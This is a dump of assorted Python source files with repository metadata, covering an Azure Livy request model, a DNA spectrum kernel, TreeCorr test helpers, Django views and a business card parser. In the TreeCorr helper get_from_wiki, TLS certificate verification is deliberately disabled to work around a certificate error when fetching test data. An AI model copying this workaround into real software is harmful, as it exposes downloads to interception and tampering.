# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class LivyRequestBase(Model): """LivyRequestBase. :param name: :type name: str :param file: :type file: str :param class_name: :type class_name: str :param args: :type args: list[str] :param jars: :type jars: list[str] :param files: :type files: list[str] :param archives: :type archives: list[str] :param conf: :type conf: dict[str, str] :param driver_memory: :type driver_memory: str :param driver_cores: :type driver_cores: int :param executor_memory: :type executor_memory: str :param executor_cores: :type executor_cores: int :param num_executors: :type num_executors: int """ _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'file': {'key': 'file', 'type': 'str'}, 'class_name': {'key': 'className', 'type': 'str'}, 'args': {'key': 'args', 'type': '[str]'}, 'jars': {'key': 'jars', 'type': '[str]'}, 'files': {'key': 'files', 'type': '[str]'}, 'archives': {'key': 'archives', 'type': '[str]'}, 'conf': {'key': 'conf', 'type': '{str}'}, 'driver_memory': {'key': 'driverMemory', 'type': 'str'}, 'driver_cores': {'key': 'driverCores', 'type': 'int'}, 'executor_memory': {'key': 'executorMemory', 'type': 'str'}, 'executor_cores': {'key': 'executorCores', 'type': 'int'}, 'num_executors': {'key': 'numExecutors', 'type': 'int'}, }

36.051948

76

0.568084

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class LivyRequestBase(Model): """LivyRequestBase. :param name: :type name: str :param file: :type file: str :param class_name: :type class_name: str :param args: :type args: list[str] :param jars: :type jars: list[str] :param files: :type files: list[str] :param archives: :type archives: list[str] :param conf: :type conf: dict[str, str] :param driver_memory: :type driver_memory: str :param driver_cores: :type driver_cores: int :param executor_memory: :type executor_memory: str :param executor_cores: :type executor_cores: int :param num_executors: :type num_executors: int """ _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'file': {'key': 'file', 'type': 'str'}, 'class_name': {'key': 'className', 'type': 'str'}, 'args': {'key': 'args', 'type': '[str]'}, 'jars': {'key': 'jars', 'type': '[str]'}, 'files': {'key': 'files', 'type': '[str]'}, 'archives': {'key': 'archives', 'type': '[str]'}, 'conf': {'key': 'conf', 'type': '{str}'}, 'driver_memory': {'key': 'driverMemory', 'type': 'str'}, 'driver_cores': {'key': 'driverCores', 'type': 'int'}, 'executor_memory': {'key': 'executorMemory', 'type': 'str'}, 'executor_cores': {'key': 'executorCores', 'type': 'int'}, 'num_executors': {'key': 'numExecutors', 'type': 'int'}, } def __init__(self, **kwargs): super(LivyRequestBase, self).__init__(**kwargs) self.name = kwargs.get('name', None) self.file = kwargs.get('file', None) self.class_name = kwargs.get('class_name', None) self.args = kwargs.get('args', None) self.jars = kwargs.get('jars', None) self.files = kwargs.get('files', None) self.archives = kwargs.get('archives', None) self.conf = kwargs.get('conf', None) self.driver_memory = kwargs.get('driver_memory', None) self.driver_cores = kwargs.get('driver_cores', None) self.executor_memory = kwargs.get('executor_memory', None) self.executor_cores = kwargs.get('executor_cores', None) self.num_executors = kwargs.get('num_executors', None)

765

0

27

318dbd4cf83ca98be58a194a8c38e90476d92a30

2,498

py

Python

kernel/spectrum.py

glothe/dna-prediction

e5aa45b1e552c7d22f2782928e9cbac1cfdd2222

[ "MIT" ]

null

kernel/spectrum.py

glothe/dna-prediction

e5aa45b1e552c7d22f2782928e9cbac1cfdd2222

[ "MIT" ]

null

kernel/spectrum.py

glothe/dna-prediction

e5aa45b1e552c7d22f2782928e9cbac1cfdd2222

[ "MIT" ]

null

import functools from collections import Counter import numpy as np from numba import njit from numba.typed import Dict from tqdm import tqdm from kernel.utils import memoize_id, normalize_kernel TRANSLATION = { "A": "T", "T": "A", "C": "G", "G": "C" } @functools.lru_cache(None) def complement(x: str): """Taking into account that the complement of a k-mer is supposed to be counted as the k-mer itself projects upon the space of k-mers beginning either by 'A' or 'C' e.g: ATAGCC == TATCGG complement("ATAGCC")="ATAGCC" complement("TATCGG")="ATAGCC" """ if x[0] in "AC": return x return x.translate(TRANSLATION) @memoize_id @functools.lru_cache(None)

27.152174

103

0.548038

import functools from collections import Counter import numpy as np from numba import njit from numba.typed import Dict from tqdm import tqdm from kernel.utils import memoize_id, normalize_kernel TRANSLATION = { "A": "T", "T": "A", "C": "G", "G": "C" } @functools.lru_cache(None) def complement(x: str): """Taking into account that the complement of a k-mer is supposed to be counted as the k-mer itself projects upon the space of k-mers beginning either by 'A' or 'C' e.g: ATAGCC == TATCGG complement("ATAGCC")="ATAGCC" complement("TATCGG")="ATAGCC" """ if x[0] in "AC": return x return x.translate(TRANSLATION) @memoize_id def feature_vectors(X: np.ndarray, k: int): n = len(X) X_dict = [None] * n for i, x in enumerate(X): X_dict[i] = Counter(complement(x[c:c + k]) for c in range(len(x) - k + 1)) return X_dict @functools.lru_cache(None) def spectrum_kernel(k: int = 4): @memoize_id def spectrum_kernel_inner(X0: np.ndarray, X1: np.ndarray): symmetric = X0 is X1 n0 = len(X0) X0_dict = feature_vectors(X0, k) if symmetric: K = np.zeros(shape=(n0, n0)) # Compute sparse dot product for i in tqdm(range(n0), desc=f"Spectrum kernel (k={k})"): X0i = X0_dict[i] for j in range(i, n0): X0j = X0_dict[j] K[i, j] = sum(count * X0j[substr] for substr, count in X0i.items()) K[j, i] = K[i, j] return normalize_kernel(K) else: n1 = len(X1) X1_dict = feature_vectors(X1, k) K = np.zeros(shape=(n0, n1)) # Compute sparse dot product for i in tqdm(range(n0), desc=f"Spectrum kernel (k={k})"): X0i = X0_dict[i] for j in range(n1): X1j = X1_dict[j] K[i, j] = sum(count * X1j[substr] for substr, count in X0i.items()) # Computes K(x, x) and K(y, y) for normalization rows = np.zeros(shape=n0) for i in range(n0): rows[i] = sum(count ** 2 for count in X0_dict[i].values()) columns = np.zeros(shape=n1) for j in range(n1): columns[j] = sum(count ** 2 for count in X1_dict[j].values()) return normalize_kernel(K, rows=rows, columns=columns) return spectrum_kernel_inner

1,731

0

44

eae98172e8895a24f8d31ce413ff2889797337bb

8,087

py

Python

tests/test_helper.py

zchvsre/TreeCorr

825dc0a9d4754f9d98ebcf9c26dee9597915d650

[ "BSD-2-Clause-FreeBSD" ]

null

tests/test_helper.py

zchvsre/TreeCorr

825dc0a9d4754f9d98ebcf9c26dee9597915d650

[ "BSD-2-Clause-FreeBSD" ]

null

tests/test_helper.py

zchvsre/TreeCorr

825dc0a9d4754f9d98ebcf9c26dee9597915d650

[ "BSD-2-Clause-FreeBSD" ]

1

2020-12-14T16:23:33.000Z

# Copyright (c) 2003-2019 by Mike Jarvis # # TreeCorr is free software: redistribution and use in source and binary forms, # with or without modification, are permitted provided that the following # conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions, and the disclaimer given in the accompanying LICENSE # file. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions, and the disclaimer given in the documentation # and/or other materials provided with the distribution. from __future__ import print_function import logging import sys import os def get_from_wiki(file_name): """We host some larger files used for the test suite separately on the TreeCorr wiki repo so people don't need to download them with the code when checking out the repo. Most people don't run the tests after all. """ local_file_name = os.path.join('data',file_name) url = 'https://github.com/rmjarvis/TreeCorr/wiki/' + file_name if not os.path.isfile(local_file_name): try: from urllib.request import urlopen except ImportError: from urllib import urlopen import shutil print('downloading %s from %s...'%(local_file_name,url)) # urllib.request.urlretrieve(url,local_file_name) # The above line doesn't work very well with the SSL certificate that github puts on it. # It works fine in a web browser, but on my laptop I get: # urllib.error.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:600)> # The solution is to open a context that doesn't do ssl verification. # But that can only be done with urlopen, not urlretrieve. So, here is the solution. # cf. http://stackoverflow.com/questions/7243750/download-file-from-web-in-python-3 # http://stackoverflow.com/questions/27835619/ssl-certificate-verify-failed-error try: import ssl context = ssl._create_unverified_context() u = urlopen(url, context=context) except (AttributeError, TypeError): # Note: prior to 2.7.9, there is no such function or even the context keyword. u = urlopen(url) with open(local_file_name, 'wb') as out: shutil.copyfileobj(u, out) u.close() print('done.') def which(program): """ Mimic functionality of unix which command """ if sys.platform == "win32" and not program.endswith(".exe"): program += ".exe" fpath, fname = os.path.split(program) if fpath: if is_exe(program): return program else: for path in os.environ["PATH"].split(os.pathsep): exe_file = os.path.join(path, program) if is_exe(exe_file): return exe_file return None def get_script_name(file_name): """ Check if the file_name is in the path. If not, prepend appropriate path to it. """ if which(file_name) is not None: return file_name else: test_dir = os.path.split(os.path.realpath(__file__))[0] root_dir = os.path.split(test_dir)[0] script_dir = os.path.join(root_dir, 'scripts') exe_file_name = os.path.join(script_dir, file_name) print('Warning: The script %s is not in the path.'%file_name) print(' Using explcit path for the test:',exe_file_name) return exe_file_name class CaptureLog(object): """A context manager that saves logging output into a string that is accessible for checking in unit tests. After exiting the context, the attribute `output` will have the logging output. Sample usage: >>> with CaptureLog() as cl: ... cl.logger.info('Do some stuff') >>> assert cl.output == 'Do some stuff' """ # Replicate a small part of the nose package to get the `assert_raises` function/context-manager # without relying on nose as a dependency. import unittest _t = Dummy('nop') assert_raises = getattr(_t, 'assertRaises') #if sys.version_info > (3,2): if False: # Note: this should work, but at least sometimes it fails with: # RuntimeError: dictionary changed size during iteration # cf. https://bugs.python.org/issue29620 # So just use our own (working) implementation for all Python versions. assert_warns = getattr(_t, 'assertWarns') else: from contextlib import contextmanager import warnings @contextmanager del Dummy del _t # Context to make it easier to profile bits of the code def do_pickle(obj1, func = lambda x : x): """Check that the object is picklable. Also that it has basic == and != functionality. """ try: import cPickle as pickle except: import pickle import copy print('Try pickling ',str(obj1)) #print('pickled obj1 = ',pickle.dumps(obj1)) obj2 = pickle.loads(pickle.dumps(obj1)) assert obj2 is not obj1 #print('obj1 = ',repr(obj1)) #print('obj2 = ',repr(obj2)) f1 = func(obj1) f2 = func(obj2) #print('func(obj1) = ',repr(f1)) #print('func(obj2) = ',repr(f2)) assert f1 == f2 # Check that == works properly if the other thing isn't the same type. assert f1 != object() assert object() != f1 obj3 = copy.copy(obj1) assert obj3 is not obj1 f3 = func(obj3) assert f3 == f1 obj4 = copy.deepcopy(obj1) assert obj4 is not obj1 f4 = func(obj4) assert f4 == f1

33.83682

120

0.629034

# Copyright (c) 2003-2019 by Mike Jarvis # # TreeCorr is free software: redistribution and use in source and binary forms, # with or without modification, are permitted provided that the following # conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions, and the disclaimer given in the accompanying LICENSE # file. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions, and the disclaimer given in the documentation # and/or other materials provided with the distribution. from __future__ import print_function import logging import sys import os def get_from_wiki(file_name): """We host some larger files used for the test suite separately on the TreeCorr wiki repo so people don't need to download them with the code when checking out the repo. Most people don't run the tests after all. """ local_file_name = os.path.join('data',file_name) url = 'https://github.com/rmjarvis/TreeCorr/wiki/' + file_name if not os.path.isfile(local_file_name): try: from urllib.request import urlopen except ImportError: from urllib import urlopen import shutil print('downloading %s from %s...'%(local_file_name,url)) # urllib.request.urlretrieve(url,local_file_name) # The above line doesn't work very well with the SSL certificate that github puts on it. # It works fine in a web browser, but on my laptop I get: # urllib.error.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:600)> # The solution is to open a context that doesn't do ssl verification. # But that can only be done with urlopen, not urlretrieve. So, here is the solution. # cf. http://stackoverflow.com/questions/7243750/download-file-from-web-in-python-3 # http://stackoverflow.com/questions/27835619/ssl-certificate-verify-failed-error try: import ssl context = ssl._create_unverified_context() u = urlopen(url, context=context) except (AttributeError, TypeError): # Note: prior to 2.7.9, there is no such function or even the context keyword. u = urlopen(url) with open(local_file_name, 'wb') as out: shutil.copyfileobj(u, out) u.close() print('done.') def which(program): """ Mimic functionality of unix which command """ def is_exe(fpath): return os.path.isfile(fpath) and os.access(fpath, os.X_OK) if sys.platform == "win32" and not program.endswith(".exe"): program += ".exe" fpath, fname = os.path.split(program) if fpath: if is_exe(program): return program else: for path in os.environ["PATH"].split(os.pathsep): exe_file = os.path.join(path, program) if is_exe(exe_file): return exe_file return None def get_script_name(file_name): """ Check if the file_name is in the path. If not, prepend appropriate path to it. """ if which(file_name) is not None: return file_name else: test_dir = os.path.split(os.path.realpath(__file__))[0] root_dir = os.path.split(test_dir)[0] script_dir = os.path.join(root_dir, 'scripts') exe_file_name = os.path.join(script_dir, file_name) print('Warning: The script %s is not in the path.'%file_name) print(' Using explcit path for the test:',exe_file_name) return exe_file_name def timer(f): import functools @functools.wraps(f) def f2(*args, **kwargs): import time t0 = time.time() result = f(*args, **kwargs) t1 = time.time() fname = repr(f).split()[1] print('time for %s = %.2f' % (fname, t1-t0)) return result return f2 class CaptureLog(object): """A context manager that saves logging output into a string that is accessible for checking in unit tests. After exiting the context, the attribute `output` will have the logging output. Sample usage: >>> with CaptureLog() as cl: ... cl.logger.info('Do some stuff') >>> assert cl.output == 'Do some stuff' """ def __init__(self, level=3): logging_levels = { 0: logging.CRITICAL, 1: logging.WARNING, 2: logging.INFO, 3: logging.DEBUG } self.logger = logging.getLogger('CaptureLog') self.logger.setLevel(logging_levels[level]) try: from StringIO import StringIO except ImportError: from io import StringIO self.stream = StringIO() self.handler = logging.StreamHandler(self.stream) self.logger.addHandler(self.handler) def __enter__(self): return self def __exit__(self, type, value, traceback): self.handler.flush() self.output = self.stream.getvalue().strip() self.handler.close() # Replicate a small part of the nose package to get the `assert_raises` function/context-manager # without relying on nose as a dependency. import unittest class Dummy(unittest.TestCase): def nop(): pass _t = Dummy('nop') assert_raises = getattr(_t, 'assertRaises') #if sys.version_info > (3,2): if False: # Note: this should work, but at least sometimes it fails with: # RuntimeError: dictionary changed size during iteration # cf. https://bugs.python.org/issue29620 # So just use our own (working) implementation for all Python versions. assert_warns = getattr(_t, 'assertWarns') else: from contextlib import contextmanager import warnings @contextmanager def assert_warns_context(wtype): # When used as a context manager with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") yield w assert len(w) >= 1, "Expected warning %s was not raised."%(wtype) assert issubclass(w[0].category, wtype), \ "Warning raised was the wrong type (got %s, expected %s)"%( w[0].category, wtype) def assert_warns(wtype, *args, **kwargs): if len(args) == 0: return assert_warns_context(wtype) else: # When used as a regular function func = args[0] args = args[1:] with assert_warns(wtype): res = func(*args, **kwargs) return res del Dummy del _t # Context to make it easier to profile bits of the code class profile(object): def __init__(self, sortby='tottime', nlines=30): self.sortby = sortby self.nlines = nlines def __enter__(self): import cProfile, pstats self.pr = cProfile.Profile() self.pr.enable() return self def __exit__(self, type, value, traceback): import pstats self.pr.disable() ps = pstats.Stats(self.pr).sort_stats(self.sortby) ps.print_stats(self.nlines) def do_pickle(obj1, func = lambda x : x): """Check that the object is picklable. Also that it has basic == and != functionality. """ try: import cPickle as pickle except: import pickle import copy print('Try pickling ',str(obj1)) #print('pickled obj1 = ',pickle.dumps(obj1)) obj2 = pickle.loads(pickle.dumps(obj1)) assert obj2 is not obj1 #print('obj1 = ',repr(obj1)) #print('obj2 = ',repr(obj2)) f1 = func(obj1) f2 = func(obj2) #print('func(obj1) = ',repr(f1)) #print('func(obj2) = ',repr(f2)) assert f1 == f2 # Check that == works properly if the other thing isn't the same type. assert f1 != object() assert object() != f1 obj3 = copy.copy(obj1) assert obj3 is not obj1 f3 = func(obj3) assert f3 == f1 obj4 = copy.deepcopy(obj1) assert obj4 is not obj1 f4 = func(obj4) assert f4 == f1

2,156

11

332

365807fa799c620482b02b59ad08f208daa23081

671

py

Python

backend/api/views.py

50Bytes-dev/vue-test

de1f1aeaabf16d93ee5ba6f0115ef43cb5c0be7b

[ "MIT" ]

null

backend/api/views.py

50Bytes-dev/vue-test

de1f1aeaabf16d93ee5ba6f0115ef43cb5c0be7b

[ "MIT" ]

13

2020-01-05T09:01:03.000Z

2022-02-26T22:01:35.000Z

backend/api/views.py

50Bytes-dev/vue-test

de1f1aeaabf16d93ee5ba6f0115ef43cb5c0be7b

[ "MIT" ]

null

from django.views.generic import TemplateView from django.views.decorators.cache import never_cache from rest_framework import viewsets from .models import * # Serve Vue Application index_view = never_cache(TemplateView.as_view(template_name='index.html')) class PostViewSet(viewsets.ModelViewSet): """ API конечная точка для Постов для редактирования и т.д. """ queryset = Post.objects.prefetch_related('photos').all() serializer_class = PostSerializer class PhotoViewSet(viewsets.ModelViewSet): """ API конечная точка для Фото для редактирования и т.д. """ queryset = Photo.objects.all() serializer_class = PhotoSerializer

26.84

74

0.752608

from django.views.generic import TemplateView from django.views.decorators.cache import never_cache from rest_framework import viewsets from .models import * # Serve Vue Application index_view = never_cache(TemplateView.as_view(template_name='index.html')) class PostViewSet(viewsets.ModelViewSet): """ API конечная точка для Постов для редактирования и т.д. """ queryset = Post.objects.prefetch_related('photos').all() serializer_class = PostSerializer class PhotoViewSet(viewsets.ModelViewSet): """ API конечная точка для Фото для редактирования и т.д. """ queryset = Photo.objects.all() serializer_class = PhotoSerializer

0

fced81d859b616ac0980e3c8bdc82ecefdbdff0e

333

py

Python

src/socialite/oauth/github.py

garzola/masonite-socialite

70cb80365e2096773e291f84b6e7af81a276ac1b

[ "MIT" ]

13

2020-02-02T01:27:51.000Z

2021-11-08T08:50:57.000Z

src/socialite/oauth/github.py

garzola/masonite-socialite

70cb80365e2096773e291f84b6e7af81a276ac1b

[ "MIT" ]

17

2020-02-05T16:52:45.000Z

2021-05-16T14:34:46.000Z

src/socialite/oauth/github.py

garzola/masonite-socialite

70cb80365e2096773e291f84b6e7af81a276ac1b

[ "MIT" ]

6

2020-02-03T14:20:30.000Z

2021-03-18T01:33:21.000Z

from socialite.helpers import get_config from .base import BaseOAuth2

30.272727

66

0.732733

from socialite.helpers import get_config from .base import BaseOAuth2 class GithubAPI(object): def __init__(self, token, **kwargs): client_id = get_config('socialite.SOCIAL_AUTH_GITHUB_KEY') self.oauth_session = BaseOAuth2(client_id, token=token) self.oauth_session.BASE_URL = 'https://api.github.com'

209

3

50

0c9d7da300296569dd584e6d10e28c99acc205a9

535

py

Python

src/main/python/helloworld.py

martinchapman/tmrweb

7dbf699d815ac198948778ad9b9fbd371d17c1b3

[ "MIT" ]

2

2020-09-21T07:53:10.000Z

2021-07-16T19:36:06.000Z

src/main/python/helloworld.py

martinchapman/tmrweb

7dbf699d815ac198948778ad9b9fbd371d17c1b3

[ "MIT" ]

1

2021-08-31T22:25:33.000Z

src/main/python/helloworld.py

martinchapman/tmrweb

7dbf699d815ac198948778ad9b9fbd371d17c1b3

[ "MIT" ]

4

2020-05-01T13:08:58.000Z

2020-05-04T15:07:50.000Z

import sys from pyswip import Prolog helloworld();

41.153846

228

0.700935

import sys from pyswip import Prolog def helloworld(): prolog = Prolog(); prolog.assertz("use_module(library(semweb/turtle))"); prolog.assertz("use_module(library(semweb/rdf_http_plugin))"); prolog.assertz("use_module(library(semweb/rdf_db))"); for soln in prolog.query("rdf_load('https://www.dropbox.com/s/33v1zze5fpbmnzh/model.ttl?raw=1', [format('turtle'), register_namespaces(false), base_uri('http://anonymous.org/vocab/'), graph('http://anonymous.org/vocab')])"): print(soln); helloworld();

457

0

23

883871dac04a34651083669b83444bfa65ba822f

4,492

py

Python

BusinessCardParser/BusinessCardParser.py

dariangarcia-404/breezy-palm-tree

4c6403addda32209799fb84be97f1008b823f28f

[ "MIT" ]

null

BusinessCardParser/BusinessCardParser.py

dariangarcia-404/breezy-palm-tree

4c6403addda32209799fb84be97f1008b823f28f

[ "MIT" ]

null

BusinessCardParser/BusinessCardParser.py

dariangarcia-404/breezy-palm-tree

4c6403addda32209799fb84be97f1008b823f28f

[ "MIT" ]

null

import spacy import ContactInfo DIVIDER = "~" # CONSTANT which defines dividing str between card entries in a file class BusinessCardParser: """ Function getContactInfo Input(s): document with text from one business card (string). Output(s): A (ContactInfo) object that contains vital information about the card owner. Description: Where the magic happens. Calls methods that identify vital info. """ """ Function isName Input(s): an entry (string) from a business card string Output(s): a (string) if it is a name, else false (boolean). Runtime: > O(m), m = characters in entry. Takes long b/c of NLP machine learning """ """ Function isPhone Input(s): an entry (string) from a business card string Output(s): a (string) if it is a phone, else false (boolean). Runtime: O(2m) => O(m), m = characters in entry """ """ Function isEmail Input(s): an entry (string) from a business card string Output(s): a (string) if it is a email, else false (boolean). Runtime: O(2m) => O(m), m = characters in entry """ """ Function starter * does the heavy lifting (I/O, calling methods) Input(s): n/a Output(s): a (dictionary) containing contacts with name (string) as key Runtime: O(n), n = number of business cards """ if __name__ == '__main__': main()

36.819672

104

0.563001

import spacy import ContactInfo DIVIDER = "~" # CONSTANT which defines dividing str between card entries in a file class BusinessCardParser: def __init__(self): parse = True # could be used as flag in future dev """ Function getContactInfo Input(s): document with text from one business card (string). Output(s): A (ContactInfo) object that contains vital information about the card owner. Description: Where the magic happens. Calls methods that identify vital info. """ def getContactInfo(self, doc): name = phone = email = False # set variables to False entries = doc.split('\n') for entry in entries: found = False if not name: name = self.is_name(entry) if name: found = True if not phone and not found: phone = self.is_phone(entry) if phone: found = True if not email and not found: email = self.is_email(entry) contact = ContactInfo.ContactInfo(name, phone, email) contact.dumpInfo() return contact """ Function isName Input(s): an entry (string) from a business card string Output(s): a (string) if it is a name, else false (boolean). Runtime: > O(m), m = characters in entry. Takes long b/c of NLP machine learning """ def is_name(self, entry): nlp = spacy.load("en_core_web_sm") doc = nlp(entry) for ent in doc.ents: if ent.label_ == 'PERSON': return entry return False """ Function isPhone Input(s): an entry (string) from a business card string Output(s): a (string) if it is a phone, else false (boolean). Runtime: O(2m) => O(m), m = characters in entry """ def is_phone(self, entry): new_phone = '' if 'fax' in entry.lower(): return False for char in entry: if char.isdigit(): # if we're looking at a number new_phone += char # add it to the phone number if len(new_phone) == 10 or len(new_phone) == 11: return new_phone return False """ Function isEmail Input(s): an entry (string) from a business card string Output(s): a (string) if it is a email, else false (boolean). Runtime: O(2m) => O(m), m = characters in entry """ def is_email(self, entry): words = entry.split(" ") for word in words: if '@' in word: return word return False """ Function starter * does the heavy lifting (I/O, calling methods) Input(s): n/a Output(s): a (dictionary) containing contacts with name (string) as key Runtime: O(n), n = number of business cards """ def starter(): parser = BusinessCardParser() print("Welcome to the Business Card Parser!") print("You can input a file of business cards, divided by", DIVIDER, "by inputting the file name.") print("You can input a business card manually, line by line, by hitting ENTER") response = input("Input file name or hit ENTER to continue: ") contacts = {} if response == "": # user wants to enter card manually business_card = "" while True: response = input("enter line (or 'END' to stop):") if response.upper() == "END": break else: business_card += (response + '\n') # add new line to manual business card contact = parser.getContactInfo(business_card) contacts[contact.getName()] = contact else: # we got a file (hopefully) cards_file = open(response, "r") all_lines = cards_file.readlines() business_card = "" for line in all_lines: if DIVIDER in line: contact = parser.getContactInfo(business_card) contacts[contact.getName()] = contact business_card = "" else: business_card += (line + '\n') contact = parser.getContactInfo(business_card) contacts[contact.getName()] = contact return contacts def main(): _contacts = starter() # contains a dictionary of contacts for future use & dev if __name__ == '__main__': main()

2,862

0

181

13526b075b407598c9ed9715d00c04476fd42e21

573

py

Python

tests/test_python_check.py

SoftwareStartups/pygithook

2fa9186a4b8981cc2926fd49917a52a85a563b82

[ "MIT" ]

null

tests/test_python_check.py

SoftwareStartups/pygithook

2fa9186a4b8981cc2926fd49917a52a85a563b82

[ "MIT" ]

null

tests/test_python_check.py

SoftwareStartups/pygithook

2fa9186a4b8981cc2926fd49917a52a85a563b82

[ "MIT" ]

null

"""Testsuite for vfgithook.pylint_check""" from vfgithook import pylint_check from . import util # pylint: disable=protected-access def test_is_python_file(gitrepo): """Test pylint_check.is_python_file""" # Extension file_a = util.write_file(gitrepo, 'a.py', '') assert pylint_check._is_python_file(file_a) # Empty file_b = util.write_file(gitrepo, 'b', '') assert not pylint_check._is_python_file(file_b) # Shebang file_c = util.write_file(gitrepo, 'b', '#!/usr/bin/env python') assert pylint_check._is_python_file(file_c)

22.92

67

0.710297

"""Testsuite for vfgithook.pylint_check""" from vfgithook import pylint_check from . import util # pylint: disable=protected-access def test_is_python_file(gitrepo): """Test pylint_check.is_python_file""" # Extension file_a = util.write_file(gitrepo, 'a.py', '') assert pylint_check._is_python_file(file_a) # Empty file_b = util.write_file(gitrepo, 'b', '') assert not pylint_check._is_python_file(file_b) # Shebang file_c = util.write_file(gitrepo, 'b', '#!/usr/bin/env python') assert pylint_check._is_python_file(file_c)

0

32a16a55f75b4456cfd80f9c9cce22f840685253

32

py

Python

src/temp/tasks.py

lucemia/django_p_test

3642f00735392d360d015dce554fccd0dbe2d874

[ "MIT" ]

null

src/temp/tasks.py

lucemia/django_p_test

3642f00735392d360d015dce554fccd0dbe2d874

[ "MIT" ]

null

src/temp/tasks.py

lucemia/django_p_test

3642f00735392d360d015dce554fccd0dbe2d874

[ "MIT" ]

null

from django_p.tasks import Pipe

16

31

0.84375

from django_p.tasks import Pipe

0

129b8e38aa216e22d39c6892742cec6e61022d52

309

py

Python

xlab/data/calc/__init__.py

dayfine/xlab

2c51d84906d5eba568e5b5c70225c2eccb1b9fc3

[ "MIT" ]

2

2020-05-06T04:05:30.000Z

2020-11-10T16:23:50.000Z

xlab/data/calc/__init__.py

dayfine/xlab

2c51d84906d5eba568e5b5c70225c2eccb1b9fc3

[ "MIT" ]

14

2020-05-06T06:37:50.000Z

2021-10-30T03:38:05.000Z

xlab/data/calc/__init__.py

dayfine/xlab

2c51d84906d5eba568e5b5c70225c2eccb1b9fc3

[ "MIT" ]

null

from xlab.data.calc.interface import RecursiveInputs from xlab.data.calc.interface import SourceInputs from xlab.data.calc.interface import CalcInputs from xlab.data.calc.interface import CalcTimeSpecs from xlab.data.calc.interface import CalcProducer from xlab.data.calc.interface import CalcProducerFactory

44.142857

56

0.864078

from xlab.data.calc.interface import RecursiveInputs from xlab.data.calc.interface import SourceInputs from xlab.data.calc.interface import CalcInputs from xlab.data.calc.interface import CalcTimeSpecs from xlab.data.calc.interface import CalcProducer from xlab.data.calc.interface import CalcProducerFactory

0

d260b0c05487ef9bc11a658508f81ea27e3b3992

841

py

Python

myauth/forms.py

dedol1/verauth_api

ca242abfdcc5296ca4c459e4e92c5dd313cd7160

[ "MIT" ]

null

myauth/forms.py

dedol1/verauth_api

ca242abfdcc5296ca4c459e4e92c5dd313cd7160

[ "MIT" ]

null

myauth/forms.py

dedol1/verauth_api

ca242abfdcc5296ca4c459e4e92c5dd313cd7160

[ "MIT" ]

1

2021-11-02T11:55:26.000Z

from django import forms from .models import *

33.64

107

0.536266

from django import forms from .models import * class ImageForm(forms.ModelForm): class Meta: model= User fields = ('username', 'first_name', 'last_name','password', 'email',) widgets = { 'first_name': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Ex: John Doe'}), 'last_name': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Ex: John Doe2'}), 'username': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Ex: 30'}), 'email': forms.TextInput(attrs={'class': 'form-control'}), } class ImageFormTwo(forms.ModelForm): class Meta: model = TwoFactor fields = ('img',) # widgets = { # 'img': forms.FileField(), # }

0

732

49

9964dfc6eb57f2989b5fa962e1e9f520802f8a82

1,542

py

Python

modules/radiusd.py

dhtech/puppet-modules

a5ddcdc6a01d87052043f075f417e692a26883a8

[ "BSD-3-Clause" ]

3

2018-10-23T21:14:01.000Z

2018-11-28T08:55:12.000Z

modules/radiusd.py

dhtech/puppet-modules

a5ddcdc6a01d87052043f075f417e692a26883a8

[ "BSD-3-Clause" ]

125

2018-10-26T08:35:52.000Z

2021-11-28T13:18:48.000Z

modules/radiusd.py

dhtech/puppet-modules

a5ddcdc6a01d87052043f075f417e692a26883a8

[ "BSD-3-Clause" ]

2

2021-11-18T19:09:49.000Z

2021-11-26T12:56:19.000Z

30.84

57

0.661479

# Copyright 2018 dhtech # # Use of this source code is governed by a BSD-style # license that can be found in the LICENSE file import lib def generate(host, *args): access_node_ips = lib.resolve_nodes_to_ip( lib.get_nodes_with_layer('access')) dist_node_ips = lib.resolve_nodes_to_ip( lib.get_nodes_with_layer('dist')) core_node_ips = lib.resolve_nodes_to_ip( lib.get_nodes_with_layer('core')) firewall_node_ips = lib.resolve_nodes_to_ip( lib.get_nodes_with_layer('firewall')) partner_node_ips = lib.resolve_nodes_to_ip( lib.get_nodes_with_layer('partner')) access_ips = [] for node, addresses in access_node_ips.iteritems(): access_ips.append([node, addresses[0]]) dist_ips = [] for node, addresses in dist_node_ips.iteritems(): dist_ips.append([node, addresses[0]]) core_ips = [] for node, addresses in core_node_ips.iteritems(): core_ips.append([node, addresses[0]]) firewall_ips = [] for node, addresses in firewall_node_ips.iteritems(): firewall_ips.append([node, addresses[0]]) partner_ips = [] for node, addresses in partner_node_ips.iteritems(): partner_ips.append([node, addresses[0]]) info = {} info['access_ips'] = access_ips info['dist_ips'] = dist_ips info['core_ips'] = core_ips info['firewall_ips'] = firewall_ips info['partner_ips'] = partner_ips return {'radiusd': info} # vim: ts=4: sts=4: sw=4: expandtab

1,343

0

23

fc93e4b656c844361c9ae7b2fbcaa70e55f59061

658

py

Python

Sentiment.py

Elon-Chan/Sentiment-Analysis

dd7ec0dcdc4944a7366c289707aa46788558e0a2

[ "MIT" ]

null

Sentiment.py

Elon-Chan/Sentiment-Analysis

dd7ec0dcdc4944a7366c289707aa46788558e0a2

[ "MIT" ]

null

Sentiment.py

Elon-Chan/Sentiment-Analysis

dd7ec0dcdc4944a7366c289707aa46788558e0a2

[ "MIT" ]

null

